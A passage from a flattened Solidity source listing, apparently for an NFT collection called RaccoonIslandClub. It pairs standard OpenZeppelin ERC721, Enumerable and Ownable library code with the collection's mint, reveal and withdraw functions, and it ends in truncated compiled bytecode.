of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract RaccoonIslandClub is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.05 ether; uint256 public maxSupply = 8888; uint256 public maxMintAmount = 200; bool public paused = false; bool public revealed = false; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed = true; } function setCost(uint256 _newCost) public onlyOwner() { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { maxMintAmount = _newmaxMintAmount; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
0x60806040526004361061020f5760003560e01c80635c975abb11610118578063a475b5dd116100a0578063d5abeb011161006f578063d5abeb01146105bc578063da3ef23f146105d2578063e985e9c5146105f2578063f2c4ce1e1461063b578063f2fde38b1461065b57600080fd5b8063a475b5dd14610552578063b88d4fde14610567578063c668286214610587578063c87b56dd1461059c57600080fd5b80637f00c7a6116100e75780637f00c7a6146104cc5780638da5cb5b146104ec57806395d89b411461050a578063a0712d681461051f578063a22cb4651461053257600080fd5b80635c975abb1461045d5780636352211e1461047757806370a0823114610497578063715018a6146104b757600080fd5b806323b872dd1161019b578063438b63001161016a578063438b6300146103b157806344a0d68a146103de5780634f6ccce7146103fe578063518302271461041e57806355f804b31461043d57600080fd5b806323b872dd146103495780632f745c59146103695780633ccfd60b1461038957806342842e0e1461039157600080fd5b8063081c8c44116101e2578063081c8c44146102c5578063095ea7b3146102da57806313faede6146102fa57806318160ddd1461031e578063239c70ae1461033357600080fd5b806301ffc9a71461021457806302329a291461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004611f47565b61067b565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004611f2c565b6106a6565b005b34801561027757600080fd5b506102806106ec565b6040516102409190612154565b34801561029957600080fd5b506102ad6102a8366004611fca565b61077e565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b50610280610813565b3480156102e657600080fd5b506102696102f5366004611f02565b6108a1565b34801561030657600080fd5b50610310600d5481565b604051908152602001610240565b34801561032a57600080fd5b50600854610310565b34801561033f57600080fd5b50610310600f5481565b34801561035557600080fd5b50610269610364366004611e20565b6109b7565b34801561037557600080fd5b50610310610384366004611f02565b6109e8565b610269610a7e565b34801561039d57600080fd5b506102696103ac366004611e20565b610b00565b3480156103bd57600080fd5b506103d16103cc366004611dd2565b610b1b565b6040516102409190612110565b3480156103ea57600080fd5b506102696103f9366004611fca565b610bbd565b34801561040a57600080fd5b50610310610419366004611fca565b610bec565b34801561042a57600080fd5b5060105461023490610100900460ff1681565b34801561044957600080fd5b50610269610458366004611f81565b610c7f565b34801561046957600080fd5b506010546102349060ff1681565b34801561048357600080fd5b506102ad610492366004611fca565b610cc0565b3480156104a357600080fd5b506103106104b2366004611dd2565b610d37565b3480156104c357600080fd5b50610269610dbe565b3480156104d857600080fd5b506102696104e7366004611fca565b610df4565b3480156104f857600080fd5b50600a546001600160a01b03166102ad565b34801561051657600080fd5b50610280610e23565b61026961052d366004611fca565b610e32565b34801561053e57600080fd5b5061026961054d366004611ed8565b610edf565b34801561055e57600080fd5b50610269610fa4565b34801561057357600080fd5b50610269610582366004611e5c565b610fdf565b34801561059357600080fd5b50610280611017565b3480156105a857600080fd5b506102806105b7366004611fca565b611024565b3480156105c857600080fd5b50610310600e5481565b3480156105de57600080fd5b506102696105ed366004611f81565b6111a3565b3480156105fe57600080fd5b5061023461060d366004611ded565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561064757600080fd5b50610269610656366004611f81565b6111e0565b34801561066757600080fd5b50610269610676366004611dd2565b61121d565b60006001600160e01b0319821663780e9d6360e01b14806106a057506106a0826112b5565b92915050565b600a546001600160a01b031633146106d95760405162461bcd60e51b81526004016106d0906121b9565b60405180910390fd5b6010805460ff1916911515919091179055565b6060600080546106fb906122cd565b80601f0160208091040260200160405190810160405280929190818152602001828054610727906122cd565b80156107745780601f1061074957610100808354040283529160200191610774565b820191906000526020600020905b81548152906001019060200180831161075757829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166107f75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b506000908152600460205260409020546001600160a01b031690565b60118054610820906122cd565b80601f016020809104026020016040519081016040528092919081815260200182805461084c906122cd565b80156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b505050505081565b60006108ac82610cc0565b9050806001600160a01b0316836001600160a01b0316141561091a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016106d0565b336001600160a01b03821614806109365750610936813361060d565b6109a85760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016106d0565b6109b28383611305565b505050565b6109c13382611373565